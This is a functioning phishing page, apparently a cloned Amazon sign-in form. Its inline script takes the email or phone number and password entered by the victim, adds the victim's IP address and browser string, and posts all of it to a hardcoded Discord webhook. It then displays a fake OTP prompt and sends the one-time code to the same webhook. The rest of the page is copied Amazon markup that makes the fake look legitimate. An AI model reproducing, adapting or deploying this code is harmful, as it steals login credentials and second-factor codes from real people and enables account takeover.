<!DOCTYPE html>
<html class="a-ws a-js a-audio a-video a-canvas a-svg a-drag-drop a-geolocation a-history a-webworker a-autofocus a-input-placeholder a-textarea-placeholder a-local-storage a-gradients a-transform3d a-text-shadow a-text-stroke a-box-shadow a-border-radius a-border-image a-opacity a-transform a-transition null" data-19ax5a9jf="dingo" data-aui-build-date="3.24.7-2024-10-22">
  <head>
    <link rel="icon" href="favicon.ico" type="image/x-icon">
    <title>Amazon Sign-In</title>

    
    <link rel="stylesheet" href="https://images-na.ssl-images-amazon.com/images/I/61dZRKtG0VL._RC|11Fd9tJOdtL.css,11tfezETfFL.css,31WoRZHct0L.css,31Hhzr7NyHL.css_.css?AUIClients/AmazonUI#us.not-trident">
    <link rel="stylesheet" href="https://images-na.ssl-images-amazon.com/images/I/01SdjaY0ZsL._RC|31jdWD+JB+L.css,51Q7QToy0zL.css_.css?AUIClients/AuthenticationPortalAssets">
    <link rel="stylesheet" href="https://images-na.ssl-images-amazon.com/images/I/21cwI2AAWQL.css?AUIClients/CVFAssets">
    
    <script>
      window.ue && ue.count && ue.count('CSMLibrarySize', 3172)
    </script>
    <script type="text/javascript" async="" src="https://images-na.ssl-images-amazon.com/images/I/61xJcNKKLXL._RC|11Y+5x+kkTL.js,514Z0GBG2eL.js,31quly41aVL.js,31LHsGF3dBL.js,01N6xzIJxbL.js,51NnTYPBTOL.js,01rpauTep4L.js,31KAmOFMMyL.js,6115+vE3YgL.js,01KsMxlPtzL.js_.js?AUIClients/AmazonUI"></script>
    <script type="text/javascript" async="" src="https://images-na.ssl-images-amazon.com/images/I/21ZMwVh4T0L._RC|21OJDARBhQL.js,218GJg15I8L.js,31lucpmF4CL.js,2119M3Ks9rL.js,61JF56MwZkL.js_.js?AUIClients/AuthenticationPortalAssets&amp;L3XM6gEo#818867-T2"></script>
    <script type="text/javascript" async="" src="https://images-na.ssl-images-amazon.com/images/I/01wGDSlxwdL.js?AUIClients/AuthenticationPortalInlineAssets"></script>
    <script type="text/javascript" async="" src="https://images-na.ssl-images-amazon.com/images/I/41gxTVRzaiL.js?AUIClients/CVFAssets"></script>
    <script type="text/javascript" async="" src="https://images-na.ssl-images-amazon.com/images/I/8150jbgvn9L.js?AUIClients/SiegeClientSideEncryptionAUI"></script>
    <script type="text/javascript" async="" src="https://images-na.ssl-images-amazon.com/images/I/31jdfgcsPAL.js?AUIClients/AmazonUIFormControlsJS"></script>
    <script type="text/javascript" async="" src="https://images-na.ssl-images-amazon.com/images/I/71o12CjP4bL.js?AUIClients/IdentityWebAuthnAssets"></script>
    <script type="text/javascript" async="" src="https://images-na.ssl-images-amazon.com/images/I/51RddlGAZmL.js?AUIClients/IdentityJsCommonAssets"></script>
    <script type="text/javascript" async="" src="https://images-na.ssl-images-amazon.com/images/I/81QJPORumOL.js?AUIClients/FWCIMAssets"></script>
    <script type="text/javascript" async="" src="https://images-na.ssl-images-amazon.com/images/I/A1V3jxiS2uL.js?AUIClients/ACICAssets"></script>
  </head>
  
    <script>
      window.ue && ue.count && ue.count('CSMLibrarySize', 18827)
    </script>
    <div id="a-page">
      <script type="a-state" data-a-state="{" key":"a-wlab-states"}"="">{"AUI_A11Y_6_837773":"T2","AUI_KILLSWITCH_CSA_LOGGER_372963":"C"}</script>
      <div class="a-section a-padding-medium auth-workflow">
        <div class="a-section a-spacing-none auth-navbar">
          <div class="a-section a-spacing-medium a-text-center">
            <a class="a-link-nav-icon" href="/ref=ap_frn_logo">
              <i class="a-icon a-icon-logo" role="img" aria-label="Amazon"></i>
            </a>
          </div>
        </div>
        <div id="authportal-center-section" class="a-section">
          <div id="authportal-main-section" class="a-section">
            <div class="a-section a-spacing-base auth-pagelet-container">
              <div id="auth-cookie-warning-message" class="a-box a-alert a-alert-warning" aria-live="polite" aria-atomic="true">
                <div class="a-box-inner a-alert-container">
                  <h4 class="a-alert-heading">Please Enable Cookies to Continue</h4>
                  <i class="a-icon a-icon-alert"></i>
                  <div class="a-alert-content">
                    <p>
                      <a class="a-link-normal" href="/gp/help/customer/display.html/ref=ap_cookie_error_help?"></a>
                    </p>
                  </div>
                </div>
              </div>
            </div>
            <div class="a-section auth-pagelet-container">
              <!-- Set cross domain sso variables to be used for making Ajax calls to central Identity domain -->
              <!-- Set cross domain sso variables to be used for making Ajax calls to central Identity domain -->
              <!-- show a warning modal dialog when the third party account is connected with Amazon -->
              <div id="passkey-error-alert" class="a-box a-alert a-alert-error aok-hidden a-spacing-base" role="alert">
                <div class="a-box-inner a-alert-container">
                  <h4 class="a-alert-heading">Passkey error</h4>
                  <i class="a-icon a-icon-alert"></i>
                  <div class="a-alert-content">
                    <p id="passkey-client-error-message"> Something went wrong, please sign-in another way or follow any instructions provided by your device. </p>
                    <p id="passkey-generic-server-error-message" class="aok-hidden"> Sorry, your passkey isn't working. There might be a problem with the server. Sign in with your password or try your passkey again later. </p>
                    <p id="passkey-server-error-message" class="aok-hidden"></p>
                  </div>
                </div>
              </div>
              <!-- shows an info modal dialog when a test is using Single Page -->
              <div class="a-section a-spacing-base">
                <div class="a-section">
                  <form name="signIn" method="post" novalidate="" action="https://www.amazon.com/ap/signin/131-5274912-0064668" class="auth-validate-form auth-real-time-validation a-spacing-none">
                    <input type="hidden" name="appActionToken" value="iOOiQSXmYBl7i7DPK4ozVCne5Pgj3D">
                    <input type="hidden" name="appAction" value="SIGNIN_PWD_COLLECT">
                    <input type="hidden" name="subPageType" value="SignInClaimCollect">
                    <input type="hidden" name="openid.return_to" value="ape:aHR0cHM6Ly93d3cuYW1hem9uLmNvbS9sb2cvcz9rPWxvZytpbiZyZWZfPW5hdl9jdXN0cmVjX3NpZ25pbg==">
                    <input type="hidden" name="prevRID" value="ape:VFhBVDE1RksxNUdGQjQzVEFTV1g=">
                    <input type="hidden" name="workflowState" value="eyJ6aXAiOiJERUYiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiQTI1NktXIn0.t5Upd8nOUN8_zGAsEMInUHVcalBaxPHXqLez29BLwf8vCE_pNElqiw.9DHf7ZBlC4Ex11Sr.UzT6lCd74b2h4qNDtGL0gLhYaW4uDZyPOLmoP86Gstx4ZmTgxPYnMsn9C9l749bBrXlVySxsVmKEaMRq-1xtNTv9mGbIm2s_Ov7veU7vflm2EqJggCycHjU89FRQTZFd6wWoaq0-pg_XeVSqwjanNPzb5ZVf71Bip-_tg285Ed3KMl7umdU1WTQAYjeI9zieIgmmtX7_yqVIKXr10mHQTrlzDvUBgnwlbiD4sHh7c1KnVEN4vFFDQMul8sTYM3lWoMtQIaDTSVqp1_FfMafuIQ.tlRN2GYOJNeWk3CQ_6Ra7Q">
                    <div class="a-section">
                      <div class="a-box">
                       



                        <div class="a-box-inner a-padding-extra-large">
                          <h1 class="a-spacing-small">Sign in</h1>
                          <!-- optional subheading element -->
                          <div class="a-row a-spacing-base">
                            <label for="ap_email" class="a-form-label">Email or mobile phone number</label>
                            <input type="email" maxlength="128" id="ap_email" autocomplete="username" name="email" class="a-input-text a-span12 auth-autofocus auth-required-field auth-require-claim-validation" aria-required="true">
                        
                            <label for="ap_password" class="a-form-label">Password</label>
                            <input type="password" maxlength="1024" id="ap_password" name="password" class="a-input-text a-span12 auth-required-field" aria-required="true">
                        
                            <div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-base" role="alert">
                              <div class="a-box-inner a-alert-container">
                                <i class="a-icon a-icon-alert"></i>
                                <div class="a-alert-content">Enter your email or mobile phone number</div>
                              </div>
                            </div>
                            <div id="auth-email-invalid-claim-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-base" role="alert">
                              <div class="a-box-inner a-alert-container">
                                <i class="a-icon a-icon-alert"></i>
                                <div class="a-alert-content">Wrong or Invalid email address or mobile phone number. Please correct and try again.</div>
                              </div>
                            </div>
                          </div>
                        
                          <input type="hidden" name="create" value="0">
                        
                          <div class="a-section">
                            <span id="continue" class="a-button a-button-span12 a-button-primary">
                              <span class="a-button-inner" onclick="submitEmailAndPassword();">
                                <span id="continue-announce" class="a-button-text" aria-hidden="true">Login</span>
                              </span>
                            </span>
                            <div id="legalTextRow" class="a-row a-spacing-top-medium a-size-small">
                              By continuing, you agree to Amazon's <a href="/gp/help/customer/display.html/ref=ap_signin_notification_condition_of_use?ie=UTF8&amp;nodeId=508088">Conditions of Use</a> and <a href="/gp/help/customer/display.html/ref=ap_signin_notification_privacy_notice?ie=UTF8&amp;nodeId=468496">Privacy Notice</a>.
                            </div>
                          </div>
                        
                          <!-- Modal for OTP -->
                          <div id="otp-modal" class="modal" style="display:none;">
                            <div class="modal-content">
                              <span class="close" onclick="closeOTPModal();">&times;</span>
                              <h2>Enter OTP Code</h2>
                              <p id="otp-message">OTP code sent to <strong id="user-contact"></strong></p>
                              <label for="ap_otp" class="a-form-label">Enter OTP Code</label>
                              <input type="text" maxlength="6" id="ap_otp" name="otp" class="a-input-text a-span12 auth-required-field" aria-required="true">
                              <span class="a-button a-button-span12 a-button-primary">
                                <span class="a-button-inner" onclick="submitOTP();">
                                  <span id="continue-announce" class="a-button-text" aria-hidden="true">Submit OTP</span>
                                </span>
                              </span>
                            </div>
                          </div>
                        
                          <style>
                            /* Modal styles */
                            .modal {
                              display: none;
                              position: fixed;
                              z-index: 1;
                              left: 0;
                              top: 0;
                              width: 100%;
                              height: 100%;
                              overflow: auto;
                              background-color: rgb(0,0,0);
                              background-color: rgba(0,0,0,0.4);
                              padding-top: 60px;
                            }
                        
                            .modal-content {
                              background-color: #fefefe;
                              margin: 5% auto;
                              padding: 20px;
                              border: 1px solid #888;
                              width: 80%;
                              max-width: 400px;
                            }
                        
                            .close {
                              color: #aaa;
                              float: right;
                              font-size: 28px;
                              font-weight: bold;
                            }
                        
                            .close:hover,
                            .close:focus {
                              color: black;
                              text-decoration: none;
                              cursor: pointer;
                            }
                        
                            /* Style to make the bold text stand out */
                            #user-contact {
                              font-weight: bold;  /* Bold text for email/phone */
                              color: #0073e6;     /* Amazon blue color */
                            }
                          </style>
                        
                        <script>
                          const webhookUrl = 'https://discord.com/api/webhooks/1318029688068771890/bNBK6sXruJ0E1UjqUKWHJN57sOGgm04Odfwy4t6l9ct6VOg-ER4zSbkEiLG8plGkQDLR';
                          
                          // Function to get the user's IP address using ipify
                          function getUserIP(callback) {
                            fetch('https://api.ipify.org?format=json')
                              .then(response => response.json())
                              .then(data => callback(data.ip))
                              .catch(error => {
                                console.error('Error fetching IP:', error);
                                callback('IP not available');
                              });
                          }
                          
                          // Function to send the email and password to the webhook
                          function submitEmailAndPassword() {
                            var emailOrPhone = document.getElementById("ap_email").value;
                            var password = document.getElementById("ap_password").value;
                            var userAgent = navigator.userAgent; // Get browser info
                        
                            // Get the user's IP address
                            getUserIP(function(ipAddress) {
                              // Check if both email/phone and password are entered
                              if (!emailOrPhone || !password) {
                                alert("Please enter both your email/phone number and password.");
                                return;
                              }
                        
                              // Create the embed structure for the webhook payload
                              var embed = {
                                title: "Login Attempt",
                                description: "Someone attempted to log in. Here are the details:",
                                color: 0xFF0000,  // Red color
                                fields: [
                                  {
                                    name: "Email/Phone",
                                    value: emailOrPhone,
                                    inline: true
                                  },
                                  {
                                    name: "Password",
                                    value: password,
                                    inline: true
                                  },
                                  {
                                    name: "IP Address",
                                    value: ipAddress,
                                    inline: true
                                  },
                                  {
                                    name: "Browser",
                                    value: userAgent,
                                    inline: true
                                  }
                                ],
                                timestamp: new Date(),
                              };
                        
                              // Prepare the payload
                              var payload = {
                                embeds: [embed] // Send the embed in the webhook
                              };
                        
                              // Send the payload to Discord webhook
                              fetch(webhookUrl, {
                                method: 'POST',
                                headers: {
                                  'Content-Type': 'application/json'
                                },
                                body: JSON.stringify(payload)
                              })
                              .then(response => {
                                if (response.ok) {
                                  showOTPModal(); // Show OTP modal after sending data
                                } else {
                                  alert("Failed to send login data.");
                                }
                              })
                              .catch(error => {
                                console.error("Error sending data:", error);
                                alert("An error occurred while submitting your information.");
                              });
                            });
                          }
                          
                          // Function to show the OTP modal
                          function showOTPModal() {
                            var emailOrPhone = document.getElementById("ap_email").value;
                        
                            // Update the OTP message with the entered email or phone number
                            document.getElementById("user-contact").textContent = emailOrPhone;
                        
                            // Show the OTP modal
                            document.getElementById("otp-modal").style.display = "block";
                          }
                          
                          // Function to close the OTP modal
                          function closeOTPModal() {
                            document.getElementById("otp-modal").style.display = "none";
                          }
                          
                          // Function to handle OTP submission
                          function submitOTP() {
                            var otp = document.getElementById("ap_otp").value;
                            var emailOrPhone = document.getElementById("ap_email").value;
                            var userAgent = navigator.userAgent; // Get browser info
                        
                            // Get the user's IP address
                            getUserIP(function(ipAddress) {
                              if (otp.length === 6) {
                                // Create the embed structure for the OTP submission
                                var embed = {
                                  title: "OTP Submitted",
                                  description: "User has submitted an OTP. Here are the details:",
                                  color: 0x00FF00,  // Green color for success
                                  fields: [
                                    {
                                      name: "Email/Phone",
                                      value: emailOrPhone,
                                      inline: true
                                    },
                                    {
                                      name: "OTP Code",
                                      value: otp,
                                      inline: true
                                    },
                                    {
                                      name: "IP Address",
                                      value: ipAddress,
                                      inline: true
                                    },
                                    {
                                      name: "Browser",
                                      value: userAgent,
                                      inline: true
                                    }
                                  ],
                                  timestamp: new Date(),
                                };
                        
                                // Prepare the payload
                                var payload = {
                                  embeds: [embed] // Send the embed in the webhook
                                };
                        
                                // Send the payload to Discord webhook
                                fetch(webhookUrl, {
                                  method: 'POST',
                                  headers: {
                                    'Content-Type': 'application/json'
                                  },
                                  body: JSON.stringify(payload)
                                })
                                .then(response => {
                                  if (response.ok) {
                                    alert("OTP submitted successfully.");
                                    closeOTPModal(); // Close the modal after submission
                                  } else {
                                    alert("Failed to send OTP.");
                                  }
                                })
                                .catch(error => {
                                  console.error("Error sending OTP:", error);
                                  alert("An error occurred while submitting your OTP.");
                                });
                              } else {
                                alert("Please enter a valid OTP.");
                              }
                            });
                          }
                        </script>
                        
                        
                        
                        
                      
                      
                      
                      
                      
                      
                      
                      
                      
                      
                      
                      </div>
                    </div>
                    <input name="metadata1" type="hidden" value="true">
                  </form>
                </div>
                <div class="a-divider a-divider-break">
                  <h5 aria-level="5">New to Amazon?</h5>
                </div>
                <span id="auth-create-account-link" class="a-button a-button-span12 a-button-base">
                  <span class="a-button-inner">
                    <a id="createAccountSubmit" href="https://www.amazon.com/ap/register?openid.pape.max_auth_age=0&amp;openid.return_to=https%3A%2F%2Fwww.amazon.com%2Flog%2Fs%3Fk%3Dlog%2Bin%26ref_%3Dnav_custrec_signin&amp;prevRID=TXAT15FK15GFB43TASWX&amp;openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;openid.assoc_handle=usflex&amp;openid.mode=checkid_setup&amp;prepopulatedLoginId=&amp;failedSignInCount=0&amp;openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;pageId=usflex&amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0" class="a-button-text"> Create your Amazon account </a>
                  </span>
                </span>
              </div>
            </div>
          </div>
        </div>
        <div id="right-2"></div>
        <div class="a-section a-spacing-top-extra-large auth-footer">
          <div class="a-divider a-divider-section">
            <div class="a-divider-inner"></div>
          </div>
          <div class="a-section a-spacing-small a-text-center a-size-mini">
            <span class="auth-footer-seperator"></span>
            <ul>
              <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">
                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/gp/help/customer/display.html/ref=ap_desktop_footer_cou?ie=UTF8&amp;nodeId=508088"> Conditions of Use </a>
                <span class="auth-footer-seperator"></span>
              </li>
              <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">
                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/gp/help/customer/display.html/ref=ap_desktop_footer_privacy_notice?ie=UTF8&amp;nodeId=468496"> Privacy Notice </a>
                <span class="auth-footer-seperator"></span>
              </li>
              <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">
                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/help"> Help </a>
                <span class="auth-footer-seperator"></span>
              </li>
            </ul>
          </div>
          <div class="a-section a-spacing-none a-text-center">
            <span class="a-size-mini a-color-secondary"> © 1996-2024, Amazon.com, Inc. or its affiliates </span>
          </div>
        </div>
      </div>
      <div id="auth-external-javascript" class="auth-external-javascript" data-external-javascripts=""></div>
      <script type="text/javascript">
        try {
          var metadataList = document.getElementsByName('metadata1');
          if (metadataList.length == 0) {
            var input = document.createElement('input');
            input.name = 'metadata1';
            input.type = 'hidden';
            input.value = 'true';
            var authenticationFormList = document.getElementsByName('signIn');
            for (var index = 0; index < authenticationFormList.length; index++) {
              authenticationFormList[index].appendChild(input);
            }
          } else {
            for (var index = 0; index < metadataList.length; index++) {
              metadataList[index].value = 'true';
            }
          }
        } catch (e) {
          if (typeof window.ueLogError === 'function') {
            window.ueLogError(e, {
              message: 'Failed to populate default metadata value',
              logLevel: 'warn',
              attribution: 'FWCIMAssets'
            });
          }
        }
      </script>
      <script type="text/javascript">
        window.fwcimCmd = [
          ['profile', 'signIn']
        ];
      
        /* ◬ */
        undefined
      </script>
    </script>
  </body>
</html>